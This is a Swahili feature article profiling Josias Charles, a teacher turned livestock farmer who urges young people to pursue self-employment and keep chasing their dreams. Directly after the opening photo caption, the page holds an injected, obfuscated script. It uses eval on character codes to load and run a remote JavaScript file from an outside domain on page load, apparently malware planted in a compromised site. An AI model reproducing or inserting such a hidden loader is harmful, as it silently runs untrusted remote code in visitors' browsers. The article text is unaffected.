Kijijini: Vuta Subira, Wilayani: Mamilioni Ndotoni, Picha na: Kamera Nene Josias Charles akiwa kwake; aamini milioni 500 zikiwasili atabadilisha kijiji chake kufanaba na mbinguni kutokana ma neema zitakazomimika kama mvi kichwani. Anaendelea kuvuta subira taratibu kama vile yupo kwenye ndoto nene.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>

ATOA DARASA KWA VIJANA

Fata NdotoYako, Potezea Vunja Moyo

“Nimefikia pazuri,” Josias Charles akiwa amevalia suti nyeusi, alisikika kijana mrefu mweusi na mwenye kifua kikubwa kutokana na kunyanyua vyuma gym mara kwa mara.

Akizungumza na Crew nzima ya Kamera Nene, aliongeza kuwa wanamuonea wivu kuona anajenga hekaru la heshima, ana kajigari, amejiajiri na mifugo tele.

 

 

Haya ni mafanikio makubwa hasa kwa mtu kama mimi niliyesomea ualimu tuu na nikaishia kujishughulisha na biashara ya ufugaji. “Wengine waliniona kama nilibugi step,” aliendelea kuyasema hayo Josias Charles akiwa anaonyesha picha mbali mbali alizozitundika ofisini kwake zikiwemo za harusi ya kifahari iliyofanyika miezi 36 iliyopita, “… na sasa nimebarikiwa kuwa na mtoto” ambaye natarajia kuendeleza hii ndoto ya kujiajiri na si kuwa mtumwa wa mshahara kama watumishi wengine.

 

 

Uhakika wa usafiri upo, chakula kipo, na hata wageni mbali mbali kutoka kwenye vyomba vya habari vinanifatilia kutokana na mafanikio yangu ya kujiajiri.

Josias Charles alipoulizwa sasa kwa nini alimua kusomea ualimu kama kujiajiri ndicho kilichokupatia umarufu alisema kuwa “nilisoma kitu ili nipate digrii, ili nihesabike kama msomi Ila faida za kusoma ndio msingi wa haya yote yanayoongelewa na kuonekana”.

Kijijini: Vuta Subira, Wilayani: Mamilioni Ndotoni, Picha na: Kamera Nene
Josias Charles akiwa kwake; aamini milioni 500 zikiwasili atabadilisha kijiji chake kufanaba na mbinguni kutokana ma neema zitakazomimika kama mvi kichwani. Anaendelea kuvuta subira taratibu kama vile yupo kwenye ndoto nene.

Aliongeza kwakusema kuwa……..”Nisingesoma na umasikini uliopo kwenye familia yetu si ningekua mzigo kwenye ukoo wa Chumitavyanka? Elimu ni muhimu siku zote maana ni hii pita pita shule iliyonipatia connection ya kuwasiliana na mawaziri, wabunge, na viongozi mbali mbali serikalini na kwenye sekta binafsi”.

Akiwa mwenye tabasamu na uso wa ujanja ujanja, alisema kuwa alisoma elimu kwani ametoka kwenye familia masikini na ndio fani ambayo serikali ilikuwa inatoa mikopo kwa wepesi.

“Ila hata hivyo nimeunga Unga vyeti na vyeti ili nijiendeleze kielimu! Leo sio tuu mimi ni mwalimu wa mifugo yangu ila ni mtaalam katika maswala ya kimataifa na uchumi, kidini na kijamii Hasa kwenye jamii, nimeshasaidia katika ujenzi wa makanisa manne, na nina wadogo zangu kule kijijini wanaonitegemea”.

 

Hata hapa mjini nina nyumba nzuri tuu ambayo ninapohitaji kubaridisha hali ya hewa huwa mimi na familia yangu tunaitumiaga.

SWALI LA KAMERA NENE……Ni ushauri gani ungependa kuutoa kwa vijana,?

 

JIBU LA JOSIAS…….Ndugu mwandishi ingawa njia inaweza kuonekana ni ngumu, yaani usivunjike moyo. “Mimi na mifugo yangu michachache, ndoto ya kutajirika hadi nipate millioni 450 ama 500 bado ipo imara. Ni kuendelea kuwa mvumilivu na mchakarikaji. Yaani Muweke Mungu Mbele tuu na usivunjwe moyo na hao wanaokuvunja moyo.

 

NYONGEZA……..” Binadamu siku zote hawakosi maneno. Mungu aliwaumba na kuwapa midomo na kuitumia ni swala dogo tuu. Hata ungekuwa hakimu, ungesemwa tuu. Usiposemwa wewe sio binadamu. Ndio maana hata ninapokemewa na kusemwa semwa, mimi siachi misimamo yangu. Inaweza kupendeza ama kuchukiza wengine ila ninachoamini ninakitetea.

Leo mzee wangu Chumitavyanka anaona mjengo pale unapendeza, na kijana wake siachi kutafuta kwa hali na mali ili wajuu zake wale na kusoma ili nisishie kuitwa kilaza. Kwa hiyo kijana, kama nilivyofata ufugaji, wewe kazana na ndoto yako na uifanyie kazi. Kuna kuota na kuna kutimiza ndoto. Wewe timiza ndoto .